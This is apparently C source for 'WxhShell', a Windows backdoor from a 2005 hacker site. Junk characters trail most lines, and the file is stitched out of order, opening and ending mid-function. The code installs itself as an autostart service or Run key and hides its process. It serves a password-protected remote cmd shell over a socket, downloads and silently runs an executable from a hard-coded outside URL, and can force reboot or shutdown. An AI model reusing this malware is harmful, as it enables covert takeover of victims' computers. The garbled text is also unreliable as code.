    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zs#s"e:jeR  
    else { h'Tn&2r6  
    closesocket(wsh); ,M@LtA3g  
    ExitThread(0); ~&-8lD];LM  
    } fh~"A`d  
    break; R  Fgy  
    } EX^}#|e*h  
  // 获取shell ];BGJ5^j  
  case 's': { 01v7_*'R  
    CmdShell(wsh); #sl_ BC9  
    closesocket(wsh); 27mGX\T  
    ExitThread(0); 0ox 8_l  
    break; ;{1J{-EA  
  } ,nn5LQ|l.j  
  // 退出 `m2e *  
  case 'x': { (eX9O4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6{h+(|.(  
    CloseIt(wsh); &0B< iO<f  
    break; d&S4`\g?8  
    } /*g9drwaa  
  // 离开 ~"\qX+  
  case 'q': { aq-`Bar  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  ut6M$d4  
    closesocket(wsh); 4R_Vi[i  
    WSACleanup(); HSq.0vYl6  
    exit(1); fQ>=\*b9x^  
    break; (_&W@:"z  
        } }1]E=!?)&  
  } :eaqUW!Y  
  } \QF\Bh  
En&bwLu:s  
  // 提示信息 f:$LVpXS-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Hya  ";'  
} 5rG&Z5  
  } t;BvKH77  
ENu`@S='I3  
  return; vfID@g`!q+  
} QuuR_Ao?c'  
|ocIp/ $  
// shell模块句柄 (qn ;MN6<  
int CmdShell(SOCKET sock) x!\FB.h4!(  
{ |~'D8 g:Ak  
STARTUPINFO si; -rE_pV;  
ZeroMemory(&si,sizeof(si)); } sTo,F$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; u<8 f ;C_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {"<6'2T3  
PROCESS_INFORMATION ProcessInfo; ml7nt 0{  
char cmdline[]="cmd"; B35zmFX|}N  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9G8n'jWyY  
  return 0; cY/!z  
} W}+f}/&l  
.<`W2*1  
// 自身启动模式 x+~IXi>Ig  
int StartFromService(void) 5 `:+NwXS2  
{ U3SF'r8  
typedef struct J &,N1B  
{ e|wH5(V  
  DWORD ExitStatus; z4l O  
  DWORD PebBaseAddress; T';<;6J**  
  DWORD AffinityMask; c*nH=  
  DWORD BasePriority; + -e8MvP  
  ULONG UniqueProcessId; }gw `,i  
  ULONG InheritedFromUniqueProcessId; 1$,t:/'-4  
}   PROCESS_BASIC_INFORMATION; gI^);J rTE  
M1._{Jw5  
PROCNTQSIP NtQueryInformationProcess; rCcNu  
Qxds]5WB/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )tQG5.to  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; '& L;y  
x' Z<  
  HANDLE             hProcess; b XcDsP$.  
  PROCESS_BASIC_INFORMATION pbi; bS 'a)  
D;bQ"P-m47  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %qA +z Pf  
  if(NULL == hInst ) return 0; =~r?(u6d  
p'afCX@J  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); jF}zv  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); LS:3Dtq  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); t3 AZS0  
VdpkE0  
  if (!NtQueryInformationProcess) return 0; GD1=Fb"&)  
K GlO;Q~7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6T6 S9A*nT  
  if(!hProcess) return 0; 1j*I`xZ  
'[shY  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _E5%Px5>L  
QZufQRfr{  
  CloseHandle(hProcess); fgFBOpG%Gq  
'"}|'J  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); < 4DWH  
if(hProcess==NULL) return 0; Zl]Zy}p*+  
e_J_rx  
HMODULE hMod; ]pLQ;7f7D  
char procName[255]; cmDskQ:  
unsigned long cbNeeded; E-,74B&H  
]d"4G7mu`l  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); H[o'j@0  
&]~z-0`$!  
  CloseHandle(hProcess); @+",f]  
G'XlsyaWrb  
if(strstr(procName,"services")) return 1; // 以服务启动 sr\lz}JW  
STgl{#  
  return 0; // 注册表启动 Kb0OauW  
} ~CRr)(M  
s~$kzEtjjU  
// 主模块 _>HX Q6Hw  
int StartWxhshell(LPSTR lpCmdLine) UTQ$sg|7p  
{ TX{DZ#  
  SOCKET wsl; }~lF Rf  
BOOL val=TRUE; OVO0Emv  
  int port=0; [KkLpZG  
  struct sockaddr_in door; jIMaP T  
{! RW*B  
  if(wscfg.ws_autoins) Install(); s-r$%9o5  
Ah)OyO6  
port=atoi(lpCmdLine); ssW+'GD  
6w K=  
if(port<=0) port=wscfg.ws_port; -tT{h 4  
,=l MtW  
  WSADATA data; /vPh_1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; rtDm<aUh  
p}.P^`~j  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   IS7g{:}=p  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?8Cxt|o>  
  door.sin_family = AF_INET; )rD] y2^<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !@-j!Ub  
  door.sin_port = htons(port); oaI7j=Gp  
7\^b+*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { N s9cx  
closesocket(wsl); !U#kUj:4I  
return 1; `"[VkQFB/  
} } oJ+2OepN  
wP1dPl_j:0  
  if(listen(wsl,2) == INVALID_SOCKET) { ~fsAPIQ  
closesocket(wsl); 0 TSj]{[  
return 1; r&"}zyL  
} .hgc1  
  Wxhshell(wsl); v%> ?~`Y  
  WSACleanup(); ?[Q;275  
EF0{o_  
return 0; n6WSTh  
4UoUuKzt  
} pRXA!QfO  
W<;i~W  
// 以NT服务方式启动 ltt%X].[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >82Q!HaH  
{ /woa[7Xe  
DWORD   status = 0; +IVVsVp  
  DWORD   specificError = 0xfffffff; Kv+E"2d  
Z!6\KV]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; tjOfekU  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8_f0P8R!y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; mT@UQCG  
  serviceStatus.dwWin32ExitCode     = 0; @Th.=  
  serviceStatus.dwServiceSpecificExitCode = 0; '2zo  
  serviceStatus.dwCheckPoint       = 0; (|ga#%iI  
  serviceStatus.dwWaitHint       = 0; ^`YSl*:  
r0QjCFSF=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); FqsG#6|x  
  if (hServiceStatusHandle==0) return; ]*}*zXN/E  
X=(8t2  
status = GetLastError(); Pf)<6?T  
  if (status!=NO_ERROR) VYf$0oo\4  
{ U_!"&O5lr  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ZERUvk  
    serviceStatus.dwCheckPoint       = 0; ({![  
    serviceStatus.dwWaitHint       = 0; X =S;8=N  
    serviceStatus.dwWin32ExitCode     = status; gq[}/E0e  
    serviceStatus.dwServiceSpecificExitCode = specificError; Rjo6Pd{d<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Du$kDCU  
    return; bEbO){Fe  
  } @Sub.z&T{  
G#duZNBdc  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 60~{sk~E  
  serviceStatus.dwCheckPoint       = 0; *~4uF  
  serviceStatus.dwWaitHint       = 0; e kI1j%fO  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `]WU=Ss  
} wias ]u|  
Pc? d@tm  
// 处理NT服务事件,比如:启动、停止 |kV,B_qz  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (h/v"dV;  
{ e@k ti@ZJ  
switch(fdwControl) AyNl,Xyc4  
{ %Iv+Y$'3B  
case SERVICE_CONTROL_STOP: Xa<siA{  
  serviceStatus.dwWin32ExitCode = 0; FlVGi3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; |\?-k  
  serviceStatus.dwCheckPoint   = 0; g_>)Q  
  serviceStatus.dwWaitHint     = 0; Ew4DumI  
  { RZ|s[b U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $q.8ve0&^  
  } $+JaEF`8  
  return; VbBZ\`b  
case SERVICE_CONTROL_PAUSE: &[S)zR=?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; aU4'_%Y@  
  break; nImRU.;P  
case SERVICE_CONTROL_CONTINUE:  +aP %H  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "5XD+qi  
  break; \C}tK,79  
case SERVICE_CONTROL_INTERROGATE: :+]6SC0ql  
  break; I$qL=  
}; tDEpR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %~Nf,  
} IIop"6Ko  
o,bV.O.W  
// 标准应用程序主函数 7_#v_ A^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1P8$z:|~  
{ 6xnJyEQUM  
M P0ww$(  
// 获取操作系统版本 K+T`'J4  
OsIsNt=GetOsVer(); ixiRFBUcF~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2)[81a  
w'M0Rd]  
  // 从命令行安装 aH"tSgi  
  if(strpbrk(lpCmdLine,"iI")) Install(); |V!A!tB  
,dBtj8=  
  // 下载执行文件 s.zH.q,  
if(wscfg.ws_downexe) { F\-qXSA  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?3KI}'}EM  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]o,)#/' $  
} aM?7'8/  
'-w G  
if(!OsIsNt) { J5J3%6I  
// 如果时win9x,隐藏进程并且设置为注册表启动 EF)kYz!@  
HideProc(); c~R ElL  
StartWxhshell(lpCmdLine); \FVR'A1  
} PK3T@Qv89  
else +|#sF,,X4g  
  if(StartFromService()) E6)FYz7x  
  // 以服务方式启动 Ku,Efr  
  StartServiceCtrlDispatcher(DispatchTable); wZfR>|f  
else &lI.N~Ao  
  // 普通方式启动 n )`*{uv$  
  StartWxhshell(lpCmdLine); +/Y )s5@<  
zb9d{e   
return 0; h3@mN\=h'  
} n=rPFp RLF  
*%Gy-5hM  
kf"cd 1  
Vx* =  
=========================================== cO(|>&tJ  
J=4S\0Z*  
*WX6C("M  
+#&2*nY  
)}WG`  
K3 ]hUe#  
" ,8$;|#d  
m} Yf6:cr  
#include <stdio.h> u{6*}6@fi  
#include <string.h> OY"{XnPZ  
#include <windows.h> hC6$>tl  
#include <winsock2.h> )%,bog(x  
#include <winsvc.h> x( mY$l,il  
#include <urlmon.h> jgEiemh&  
[FyE{NfiJ%  
#pragma comment (lib, "Ws2_32.lib") w`#lLl B  
#pragma comment (lib, "urlmon.lib") >-)i_C2  
S'3l<sY  
#define MAX_USER   100 // 最大客户端连接数 |:H[Y"$1;  
#define BUF_SOCK   200 // sock buffer T w"^I*B  
#define KEY_BUFF   255 // 输入 buffer D eXnE$XH  
?`FI!3j  
#define REBOOT     0   // 重启 $: Qi9N   
#define SHUTDOWN   1   // 关机 d54>nycU~N  
.P,\69g~A  
#define DEF_PORT   5000 // 监听端口 W4>8  
3$HFHUMQsk  
#define REG_LEN     16   // 注册表键长度 I[[rVts  
#define SVC_LEN     80   // NT服务名长度 "me J n/  
GueqpEd2  
// 从dll定义API I"@5=m5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); fWKv3S1dT  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); H%faRUonz  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); uv_*E`pN~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~f%gW  
^lf;Lc  
// wxhshell配置信息 cHJ &a`;  
struct WSCFG { N{Is2Ia  
  int ws_port;         // 监听端口 5,?9#n\E,  
  char ws_passstr[REG_LEN]; // 口令 kv (N/G  
  int ws_autoins;       // 安装标记, 1=yes 0=no /1MO]u\  
  char ws_regname[REG_LEN]; // 注册表键名 -u{k  
  char ws_svcname[REG_LEN]; // 服务名 7qzI]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [IV8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ns1u0$fg  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \f{C2d/6j  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @.CPZT  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `86 9XE  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `?Y/:4  
O 6A:0yM4  
}; &+*jTE  
'>`bp25>  
// default Wxhshell configuration AV&W&$  
struct WSCFG wscfg={DEF_PORT, KtV_DjH:  
    "xuhuanlingzhe", 3s>& h-E  
    1, r."Dc  
    "Wxhshell", F*I{?NRN1  
    "Wxhshell", xQJdt $]U@  
            "WxhShell Service", 26\1tOj Np  
    "Wrsky Windows CmdShell Service", z ^a,7}4  
    "Please Input Your Password: ", Y%wF;I1x  
  1, >nl *aN  
  "http://www.wrsky.com/wxhshell.exe", !vett4C* K  
  "Wxhshell.exe" -{L[Wt{1  
    }; \>I&UFfH)4  
)cOm\^,  
// 消息定义模块 9B*SWWAj  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; },[j+wx  
char *msg_ws_prompt="\n\r? for help\n\r#>"; b(~NqV!i  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6Ajiz_~U  
char *msg_ws_ext="\n\rExit."; OkFq>;{a  
char *msg_ws_end="\n\rQuit."; pV>/ "K  
char *msg_ws_boot="\n\rReboot..."; U<#i\4W  
char *msg_ws_poff="\n\rShutdown..."; DQ'+,bxk=9  
char *msg_ws_down="\n\rSave to "; vx-u+/\  
Iqo4INGIi  
char *msg_ws_err="\n\rErr!"; <ygkK5#q  
char *msg_ws_ok="\n\rOK!"; k ( R  
1~5={eI  
char ExeFile[MAX_PATH]; QiwZk<rb  
int nUser = 0; eKLxNw5  
HANDLE handles[MAX_USER]; PU-;Q@< E  
int OsIsNt; (6JD<pBm  
(dO4ww@O  
SERVICE_STATUS       serviceStatus; Ye1P5+W(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [_H9l)  
M(/%w"R  
// 函数声明 B>~E6j7[Mp  
int Install(void); bJ/~UEZw  
int Uninstall(void); <y`yKXzBUV  
int DownloadFile(char *sURL, SOCKET wsh); T8qG9)~3  
int Boot(int flag); p]pFZ";70  
void HideProc(void); T]E$H, p  
int GetOsVer(void); qtgj"4,:`  
int Wxhshell(SOCKET wsl); LW,!B.`@  
void TalkWithClient(void *cs); m'429E]\S  
int CmdShell(SOCKET sock); k,q` ^E8k  
int StartFromService(void); zHu:Ec7  
int StartWxhshell(LPSTR lpCmdLine); WddU|-W  
 NU_VUd2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Q$RP2&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); h!)(R<  
Hj2P|;2S  
// 数据结构和表定义 y0=BL  
SERVICE_TABLE_ENTRY DispatchTable[] = a2 YdkdjT  
{ >GZF \ER  
{wscfg.ws_svcname, NTServiceMain}, Z/ThY bk  
{NULL, NULL} EzthRe9  
}; GU"MuW`u2  
'l<kY\I!%  
// 自我安装 =@ON>SmPs  
int Install(void) *4.f*3*  
{ eH1Y!&`  
  char svExeFile[MAX_PATH]; 2gFQHV  
  HKEY key; 0e/~H^,SQ  
  strcpy(svExeFile,ExeFile); uHwuw_eK`  
My5X%)T>P  
// 如果是win9x系统,修改注册表设为自启动 LFh(. }  
if(!OsIsNt) { g\6(ezUF*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E>7%/TIl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %0"o(y+zt  
  RegCloseKey(key); RNIfw1R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K$K[fcj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5Pv>`E2^  
  RegCloseKey(key); 7f 7*id  
  return 0; 8@Y@5)Oc  
    } 9N u;0  
  } $v>- @  
} g[Yok` e[  
else { geT<vh Z6  
UB(8N7_/  
// 如果是NT以上系统,安装为系统服务 |r3eq4$Am  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,,,5pCi\  
if (schSCManager!=0) } RM?gE  
{ G%4vZPA  
  SC_HANDLE schService = CreateService '3<YZWS  
  ( i44KTC"sB  
  schSCManager, _s=[z$EN&  
  wscfg.ws_svcname, iF`E> %#  
  wscfg.ws_svcdisp, V:l; 2rW  
  SERVICE_ALL_ACCESS, 0eb`9yM  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *Jp>)>  
  SERVICE_AUTO_START, u#}zNz#C5  
  SERVICE_ERROR_NORMAL, )DoY*'Cl  
  svExeFile, t,RR\S  
  NULL, ?{^T&<18t  
  NULL, ."=Bx2  
  NULL, =P2T&Gb  
  NULL, x#pT B.  
  NULL m4kmJaM  
  ); 1_<'S34  
  if (schService!=0) zzPgLE55  
  { hS<x+|'l  
  CloseServiceHandle(schService); 9-L.?LG  
  CloseServiceHandle(schSCManager); $r_z""eOc  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `cVG_= 2  
  strcat(svExeFile,wscfg.ws_svcname); 2"%d!"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { B\N,%vsx#U  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \7Zk[)!FL  
  RegCloseKey(key); WRD^S:`BH  
  return 0; ;1F3.ibE  
    } `)SkA?yKI  
  } m2\ZnC  
  CloseServiceHandle(schSCManager); \d v9:X$  
} Aja'`Mu  
} k.0$~juu  
+fKLCzj  
return 1; o>j3<#?  
} JqFFI:Q5a  
Z/a]oR@  
// 自我卸载 ,wnF]K 2D0  
int Uninstall(void) i\,#Z!  
{ 3B;B#0g50  
  HKEY key; |s s_<  
Dwwh;B  
if(!OsIsNt) { ;i Ud3 '*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~9x$tb x-  
  RegDeleteValue(key,wscfg.ws_regname); 6h;$^3x$  
  RegCloseKey(key); t'7)aJMP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4UG7{[!+  
  RegDeleteValue(key,wscfg.ws_regname); o3%+FWrVTS  
  RegCloseKey(key); "rkP@ja9n  
  return 0; }X}fX#[  
  } ?;}2 Z)  
} M|76,2u   
} =X>?Y,   
else { B \[P/AC  
O(wt[AEA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); E[ e ''  
if (schSCManager!=0) 8Gs{Zfp!D  
{ wVw3YIN#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _`ot||J  
  if (schService!=0) ?l bK;Kv  
  { r=s2wjk  
  if(DeleteService(schService)!=0) { |8V+(Vzl  
  CloseServiceHandle(schService); \W #M]Q  
  CloseServiceHandle(schSCManager); MheP@ [w|@  
  return 0; s{hJ"lv:  
  } Z wIsEJz  
  CloseServiceHandle(schService); 6XB9]it6  
  } "EHwv2Hm>  
  CloseServiceHandle(schSCManager); oXb}6YC  
} [%Y Cupr#  
} !a4pKN`qLY  
d94Lc-kq^  
return 1; _[IN9ZC2G  
} 6?(*:}Q  
}&EPH}V2n  
// 从指定url下载文件 MJDFm,  
int DownloadFile(char *sURL, SOCKET wsh) }6ec2I%`o  
{ keCM}V`?"  
  HRESULT hr; :8\z 0  
char seps[]= "/"; 6fQQKM@a|  
char *token; vvdC.4O  
char *file; 7e>n{rl  
char myURL[MAX_PATH]; r!j_KiUy  
char myFILE[MAX_PATH]; ~eE2!/%9  
z l@ <X0q  
strcpy(myURL,sURL); y \V!OY@  
  token=strtok(myURL,seps); =][[TH  
  while(token!=NULL) f~8Xue,l"  
  { >`\~=ivrD  
    file=token; v(]\o;/O  
  token=strtok(NULL,seps); '}]w=2Lf  
  } mI?AI7DqK  
57rc|]C  
GetCurrentDirectory(MAX_PATH,myFILE); 2 ;U(r: ]  
strcat(myFILE, "\\"); yj"+!g  
strcat(myFILE, file); 8@Y]dz gjj  
  send(wsh,myFILE,strlen(myFILE),0); jD'\\jAUdm  
send(wsh,"...",3,0); 2Vt iL^;5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); beN0 ?G  
  if(hr==S_OK) !V#(g./W  
return 0; U")bvUIL  
else Lk=f^qJ ]  
return 1; E*j)gj9  
lc#su$xR>  
} pz#oRuujY  
CGny#Vh  
// 系统电源模块 'I\bz;VT  
int Boot(int flag) jQ(qaX&  
{ 2["bS++?  
  HANDLE hToken; y kwS-e  
  TOKEN_PRIVILEGES tkp; ?neXs-'-p  
*)H?d  
  if(OsIsNt) { x>Q\j>^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -05#/-Z=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); dI{)^  
    tkp.PrivilegeCount = 1; 9;sebqC?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @aWvN;v  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); W=%}~ 7*  
if(flag==REBOOT) { d1vC-n N  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {!Jw+LPv$$  
  return 0; g]N!_Ib/!  
} Z2j M.[hq  
else { [*]&U6\j  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?%{v1(  
  return 0; &0+;E-_  
} M&:[3u-  
  } Ihw^g <X  
  else { Yfs60f  
if(flag==REBOOT) { H Y\-sl^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) S:+SZq  
  return 0; }p]8'($  
} fiES6VL  
else { QI.{M$,m~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) OpW4@le_r  
  return 0; 9)];l?l  
} +MvcW.W~  
} h/mmV:v  
TW7jp  
return 1; xOt%H\*k"  
} pmv;M`_|R  
iQ~;to;Y  
// win9x进程隐藏模块 T:q!>"5  
void HideProc(void) tF+m/}PM^  
{ 294 0M4  
B_aLqB]U  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); dpxP  
  if ( hKernel != NULL ) !Z 3iu  
  { Sbc  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /YKg.DA|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [daUtKz  
    FreeLibrary(hKernel); q5p!Ty"  
  } ,73J#  
pIXbr($  
return;  ") q  
} LK-2e$1  
G\@ uj>Z  
// 获取操作系统版本  <]2X~+v  
int GetOsVer(void) 96fbMP+7R  
{ l c?9B  
  OSVERSIONINFO winfo; 7y""#-}V[r  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); N\1 EWi  
  GetVersionEx(&winfo); 5 <X.1 T1  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) k2(B{x}L  
  return 1; p~J|l$%0rQ  
  else Po~{Mpe  
  return 0; ,9SBGxK5`  
} w@ALl#z;}  
^_0zO$z,  
// 客户端句柄模块 p2cwW/^V  
int Wxhshell(SOCKET wsl) (&H-v'a}3  
{ H$bu*o-Z  
  SOCKET wsh; 0hVw=KDO9:  
  struct sockaddr_in client; outAZy=R;  
  DWORD myID; Q`j!$r  
b1>zGC^|  
  while(nUser<MAX_USER) *~YU0o  
{ yU<T_&M  
  int nSize=sizeof(client); __dSEOGoe  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _r@ FWUZ  
  if(wsh==INVALID_SOCKET) return 1; v0+mh]  
,l+lokD-#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); b*i_'k}*<g  
if(handles[nUser]==0) f*)8bZDD  
  closesocket(wsh); J$Uj@M  
else mwU|Hh)N]  
  nUser++; !6{; z/Hy  
  } Gi]R8?M  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %#kml{I   
*DfwTbg|  
  return 0; E}LYO:  
} 4HG;v|Cp  
YflM*F`  
// 关闭 socket #X1iig+  
void CloseIt(SOCKET wsh) 9f1,E98w_  
{ olda't  
closesocket(wsh); ,/*L|M/&5  
nUser--; *i3\`;^=  
ExitThread(0); xvn@zi  
} *|n-Hr  
!:"$1kh1("  
// 客户端请求句柄 WD.td  
void TalkWithClient(void *cs) 4}-{sS}MP  
{ +||y/}1  
jRdmQ mTJ  
  SOCKET wsh=(SOCKET)cs; *f<+yF{=A  
  char pwd[SVC_LEN]; .S4c<pMap  
  char cmd[KEY_BUFF]; Y=0D[o8  
char chr[1]; #2 Gy=GvV  
int i,j; ~nLE?>x|Z  
%+gK5aVab  
  while (nUser < MAX_USER) { %QYW0lE  
lqdil l\  
if(wscfg.ws_passstr) { gkkT<hEV=  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -|_#6-9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "]H_;:{f  
  //ZeroMemory(pwd,KEY_BUFF); %?  87#|  
      i=0; ]c/k%] o~  
  while(i<SVC_LEN) { A><w1-X&=o  
re}_+sv U  
  // 设置超时 SlK 6KnX  
  fd_set FdRead; EGJ d:>k  
  struct timeval TimeOut; f0!i<9<  
  FD_ZERO(&FdRead); at<N?r  
  FD_SET(wsh,&FdRead); [ {@0/5i  
  TimeOut.tv_sec=8; )c432).Z  
  TimeOut.tv_usec=0; 9W5~I9%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); uUmkk  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -]hk2Q0  
my1FW,3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U0X,g(2'  
  pwd=chr[0]; )DG>omCY  
  if(chr[0]==0xd || chr[0]==0xa) { naOCa  
  pwd=0; 4gKu8G  
  break; WK$d<:"  
  } g+v.rmX  
  i++; '\g-z  
    } >`{B  
4 q-/R  
  // 如果是非法用户,关闭 socket yzI`&? P2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); bn*SLWWQ.3  
} };/;L[,G  
k{Ad(S4J&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); H<N$z 3k  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9szUN;:ZZ  
v^A4%e<8^r  
while(1) { Sao4MkSz[]  
(Mzv"FN]  
  ZeroMemory(cmd,KEY_BUFF); E!Ljq3iT`  
Q3h_4{w  
      // 自动支持客户端 telnet标准   l4O&*,}l##  
  j=0; U=ek_FO  
  while(j<KEY_BUFF) { z.vE RP56  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q vc$D{z  
  cmd[j]=chr[0]; rg5ZxN|g  
  if(chr[0]==0xa || chr[0]==0xd) { =(aA`:Nl  
  cmd[j]=0; qz_'v{uAj  
  break; UA0j#  
  } ?Sj >b   
  j++; azBYh*s=5{  
    } .dwy+BzS  
e #!YdXSx  
  // 下载文件 Acix`-<  
  if(strstr(cmd,"http://")) { C srxi'Pe  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); NpPuh9e{  
  if(DownloadFile(cmd,wsh)) j-$F@p_2F  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `>1XL2  
  else #];b+ T  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ga$J7 R  
  } _-+xzdGvX  
  else { a]S0|\BkN  
ovXU +8  
    switch(cmd[0]) { *r90IS}A$2  
  -ZVCb@%  
